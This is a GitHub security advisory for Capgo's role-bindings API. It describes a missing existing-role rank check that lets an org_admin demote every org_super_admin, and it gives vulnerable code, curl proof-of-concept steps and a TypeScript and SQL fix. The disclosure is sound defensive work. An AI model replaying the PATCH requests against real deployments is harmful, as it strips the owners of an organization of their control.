Skip to main content
Menu
Advisories

R - PATCH /role_bindings Missing Existing-Role Rank Check Allows org_admin to Demote org_super_admin

GHSA-54MJ-Q77Q-XWX5Published Updated GitHub

Description

The PATCH /private/role_bindings/:binding_id endpoint checks whether the new role's priority rank is within the caller's privilege level, but fails to check whether the existing binding's role outranks the caller. This allows an org_admin (rank 90) to demote an org_super_admin (rank 95) to org_member (rank 75). Additionally, the prevent_last_super_admin_binding_delete database trigger only fires on DELETE — not UPDATE — so an org_admin can demote all super_admins, leaving the organization without any super_admin.

Details

The PATCH handler in supabase/functions/_backend/private/role_bindings.ts:435-440 only validates the new role's rank against the caller:

// supabase/functions/_backend/private/role_bindings.ts:435-440
// Prevent privilege escalation: caller cannot assign a role with higher priority than their own
const callerPrincipalId = auth!.authType === 'apikey' ? auth!.apikey!.rbac_id : auth!.userId
const callerMaxRank = await getCallerMaxPriorityRank(drizzle, auth!.authType, callerPrincipalId, binding.org_id!)
if (role.priority_rank > callerMaxRank) {
  return c.json({ error: 'Cannot assign a role with higher privileges than your own' }, 403)
}

Compare with the DELETE handler at supabase/functions/_backend/private/role_bindings.ts:508-520, which correctly fetches the target binding's existing role and checks its rank:

// supabase/functions/_backend/private/role_bindings.ts:508-520
// Prevent privilege escalation: caller cannot delete a binding for a role with higher priority than their own
const [targetRole] = await drizzle
  .select({ priority_rank: schema.roles.priority_rank })
  .from(schema.roles)
  .where(eq(schema.roles.id, binding.role_id!))
  .limit(1)

if (targetRole && targetRole.priority_rank > callerMaxRank) {
  return c.json({ error: 'Cannot delete a binding for a role with higher privileges than your own' }, 403)
}

The PATCH endpoint is missing this lookup-and-check for the existing binding's role.

The database trigger prevent_last_super_admin_binding_delete (migration 20260228000200) only fires BEFORE DELETE ON role_bindings, so an UPDATE that changes role_id from org_super_admin to org_member bypasses this safeguard entirely.

Role priority ranks from migration 20251222140030:

  • org_super_admin: 95
  • org_admin: 90
  • org_member: 75

Since org_member (75) < org_admin (90), the new-role rank check passes, and the demotion succeeds.

PoC

Prerequisites: An org with at least one org_super_admin and one org_admin. The attacker authenticates as the org_admin.

Step 1: List role bindings to find the super_admin's binding ID

curl -s -H "Authorization: Bearer $ORG_ADMIN_TOKEN" \
  "https://<project>.supabase.co/functions/v1/private/role_bindings?org_id=$ORG_ID" \
  | jq '.[] | select(.role_name == "org_super_admin") | .id'

Expected output: the binding ID of the super_admin, e.g. "b1234567-..."

Step 2: Demote the super_admin to org_member

curl -s -X PATCH \
  -H "Authorization: Bearer $ORG_ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role_name": "org_member"}' \
  "https://<project>.supabase.co/functions/v1/private/role_bindings/b1234567-..."

Expected output: 200 OK with the updated binding showing the new role_id corresponding to org_member.

Step 3: Verify the super_admin lost their privileges

curl -s -H "Authorization: Bearer $SUPER_ADMIN_TOKEN" \
  "https://<project>.supabase.co/functions/v1/private/role_bindings?org_id=$ORG_ID"

The former super_admin's binding now shows org_member role. They can no longer perform super_admin actions (billing, app deletion, etc.).

Step 4 (escalation): Repeat for ALL super_admins

Since the prevent_last_super_admin_binding_delete trigger does not fire on UPDATE, the org_admin can repeat Step 2 for every super_admin binding, leaving the organization with zero super_admins.

Impact

  • Privilege demotion across trust boundary: An org_admin can demote any org_super_admin to org_member, despite org_super_admin being a strictly higher-privilege role. This violates the rank-based authorization model the application explicitly implements.
  • Complete super_admin lockout: Because the DB trigger only guards DELETE, an org_admin can demote ALL super_admins. The organization loses access to super_admin-only capabilities (billing management, app deletion, destructive operations).
  • Lateral impact: Demoted super_admins lose all elevated permissions immediately, affecting their ability to manage the organization until another super_admin (or platform admin) intervenes.

Recommended Fix

Add the existing-role rank check to the PATCH handler, mirroring the DELETE handler's logic. In supabase/functions/_backend/private/role_bindings.ts, after line 440:

// supabase/functions/_backend/private/role_bindings.ts — after line 440, add:

// Prevent privilege escalation: caller cannot modify a binding for a role with higher priority than their own
const [existingRole] = await drizzle
  .select({ priority_rank: schema.roles.priority_rank })
  .from(schema.roles)
  .where(eq(schema.roles.id, binding.role_id!))
  .limit(1)

if (existingRole && existingRole.priority_rank > callerMaxRank) {
  return c.json({ error: 'Cannot modify a binding for a role with higher privileges than your own' }, 403)
}

Additionally, extend the database trigger to also fire on UPDATE when role_id changes:

CREATE OR REPLACE FUNCTION "public"."prevent_last_super_admin_binding_update"()
RETURNS TRIGGER
LANGUAGE "plpgsql"
SECURITY DEFINER
SET "search_path" TO ''
AS $$
DECLARE
  v_remaining_count integer;
BEGIN
  -- Only act when role_id actually changes
  IF OLD.role_id = NEW.role_id THEN
    RETURN NEW;
  END IF;

  -- Only check org-level super_admin bindings being changed away from super_admin
  IF OLD.scope_type != public.rbac_scope_org() THEN
    RETURN NEW;
  END IF;

  IF NOT EXISTS (
    SELECT 1 FROM public.roles r
    WHERE r.id = OLD.role_id
      AND r.name = public.rbac_role_org_super_admin()
  ) THEN
    RETURN NEW;
  END IF;

  SELECT COUNT(*) INTO v_remaining_count
  FROM public.role_bindings rb
  INNER JOIN public.roles r ON rb.role_id = r.id
  WHERE rb.scope_type = public.rbac_scope_org()
    AND rb.org_id = OLD.org_id
    AND rb.principal_type = public.rbac_principal_user()
    AND r.name = public.rbac_role_org_super_admin()
    AND rb.id != OLD.id;

  IF v_remaining_count < 1 THEN
    RAISE EXCEPTION 'CANNOT_DEMOTE_LAST_SUPER_ADMIN'
      USING HINT = 'At least one super_admin binding must remain in the org';
  END IF;

  RETURN NEW;
END;
$$;

CREATE TRIGGER "prevent_last_super_admin_update"
  BEFORE UPDATE OF role_id ON "public"."role_bindings"
  FOR EACH ROW
  EXECUTE FUNCTION "public"."prevent_last_super_admin_binding_update"();

---

Fix PR (merged)

Intentional fix PR github.com/Cap-go/capgo.app/pull/2018 merged 2026-05-05. Adds existing-role rank checks so org_admin cannot demote org_super_admin via PATCH /role_bindings.

Reporter: please verify on current production. Bounty/credit is due only after that verification, per Capgo bounty policy.

Affected versions

References

GitHub · Cap-go/capgo.app